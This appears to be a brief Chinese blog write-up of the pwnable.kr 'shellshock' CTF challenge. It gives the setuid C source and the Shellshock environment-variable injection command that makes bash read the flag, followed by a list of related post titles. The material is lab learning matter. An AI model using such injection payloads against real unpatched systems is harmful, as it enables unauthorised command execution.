【pwnable.kr-----解题过程】shellshock
来源:互联网 发布:photoshopcs4软件下载 编辑:程序博客网 时间:2024/05/18 05:35
#include <stdio.h>int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c 'echo shock_me'");return 0;}
根据题目一下子可以看出来这是shellshock(破壳)的利用,google一下利用方法,补上对应语句即可:
env x='() { :;}; /bin/cat flag' ./shellshock
注意一点是在使用的时候cat需要写成/bin/cat:
0 0
- 【pwnable.kr-----解题过程】shellshock
- pwnable.kr之shellshock
- 【pwnable.kr-----解题过程】fd
- 【pwnable.kr-----解题过程】collision
- 【pwnable.kr-----解题过程】bof
- 【pwnable.kr-----解题过程】random
- 【pwnable.kr-----解题过程】flag
- pwnable.kr---mistake,shellshock,coin1
- pwnable.kr codemap writeup / OD 脚本解题
- pwnable.kr
- pwnable.kr
- pwnable.kr
- pwnable.kr - fd
- pwnable.kr collision
- pwnable.kr 之fd
- pwnable.kr collision
- pwnable.kr之bof
- pwnable.kr之flag
- gradle--第十章 快速开始Web应用程序
- 设计模式之代理模式
- Summary ranges
- c#的equals
- C++Primer第五版 第7章 类(练习解答)
- 【pwnable.kr-----解题过程】shellshock
- Min stack
- UIButton中setTitleEdgeInsets和setImageEdgeInsets的使用
- 高位优先的字符串排序
- enum
- Android 多媒体应用——VideoView播放视频
- zoj1006
- Excel Sheet Column Title
- AndroidStudio导入库文件